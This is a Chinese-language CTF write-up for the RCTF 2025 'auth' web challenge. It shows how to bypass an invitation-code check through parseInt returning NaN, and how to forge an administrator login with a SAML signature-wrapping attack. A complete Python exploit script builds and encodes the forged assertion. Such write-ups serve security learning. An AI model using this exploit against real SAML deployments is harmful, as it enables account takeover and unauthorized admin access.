Turker
Turker
Published on 2025-11-23 / 5 Visits
0

RCTF 2025 Writeup

RCTF 2025 Writeup

忙于复习,赛后解出了两个 Web。

Web

auth

SAML 认证

两个关键点 第一个是绕过邀请码注册,第二个是伪装管理员

if (parseInt(type) === 0) {
    if (!invitationCode || invitationCode !== config.getInviteCode()) {
        return res.render('register', {
            title: 'User Registration',
            errors: [{ msg: 'Invalid invitation code' }],
            formData: req.body
        });
    }
}

这里 type 如果不是 int 的话,parseInt() 返回的是 NaN,返回 false 绕过邀请码

但是与数据库交互的时候 type='abc' 会被数据库强制转换为 0,所以用户是正常的

接下来看他对 SAML 的验证和解析逻辑

验证逻辑:

if response_signature is not None:
    if not self._verify_signature(response_signature):
        return False
else:
    assertion_signatures = self._find_assertion_signatures()
    if not assertion_signatures:
        return False
  
    for sig_node in assertion_signatures:
        if not self._verify_signature(sig_node):
            return False

这里只检查了是否有至少一个签了名的 assertion

解析逻辑:

def get_nameid(self):
    if self.document is None:
        return None
    
    assertions = self.document.xpath(
        '//saml:Assertion',
        namespaces=self.NAMESPACES
    )
  
    if not assertions:
        return None
  
    assertion = assertions[0]

这里只取第一个assertion

那只需要在原来的 assertion 之前添加一个未签名的 admin assertion 即可达成伪造管理员

exp:

from xml.dom import minidom

import base64, zlib, urllib.parse

raw="""
<YOUR_AUTH_SAML>
"""
raw += "=" * (-len(raw) % 4)

data = base64.b64decode(raw)

xml = data.decode('utf-8')

pretty_xml = minidom.parseString(xml).toprettyxml(indent="  ")
pretty_xml = "\n".join(line for line in pretty_xml.splitlines() if line.strip())
print(pretty_xml)


import re
import random
import string

orig_assertion = re.search(r'(<saml:Assertion\b.*?</saml:Assertion>)', xml, re.S).group(1)

forged = orig_assertion

# 1. 移除签名
forged = re.sub(r'<Signature[^>]*>.*?</Signature>', '', forged, flags=re.S)

# 2. 修改 ID 和 SessionIndex
forged = re.sub(r'ID="[^"]+"', f'ID="_{"".join(random.choices(string.ascii_lowercase+string.digits, k=32))}"', forged, count=1)
forged = re.sub(r'SessionIndex="[^"]+"', f'SessionIndex="_{"".join(random.choices(string.ascii_lowercase+string.digits, k=24))}"', forged)

# 3. 修改 NameID
forged = re.sub(r'(<saml:NameID[^>]*>)[^<]+(</saml:NameID>)', r'\1admin@rois.team\2', forged)

# 4. 批量修改属性
attr_replacements = {
    'uid': '1',
    'username': 'admin',
    'email': 'admin@rois.team',
    'displayName': 'Administrator',
    'role': 'admin',
    'department': 'System'
}

for attr_name, new_value in attr_replacements.items():
    pattern = rf'(<saml:Attribute Name="{attr_name}"[^>]*>.*?<saml:AttributeValue>)[^<]*(</saml:AttributeValue>)'
    forged = re.sub(pattern, rf'\g<1>{new_value}\2', forged, flags=re.S)

# 5. XML 签名包装攻击
xml = xml.replace(orig_assertion, forged + orig_assertion, 1)

pretty_xml = minidom.parseString(xml).toprettyxml(indent="  ")
pretty_xml = "\n".join(line for line in pretty_xml.splitlines() if line.strip())
print(pretty_xml)


b64 = base64.b64encode(xml.encode()).decode()
payload = urllib.parse.quote_plus(b64)

print(payload)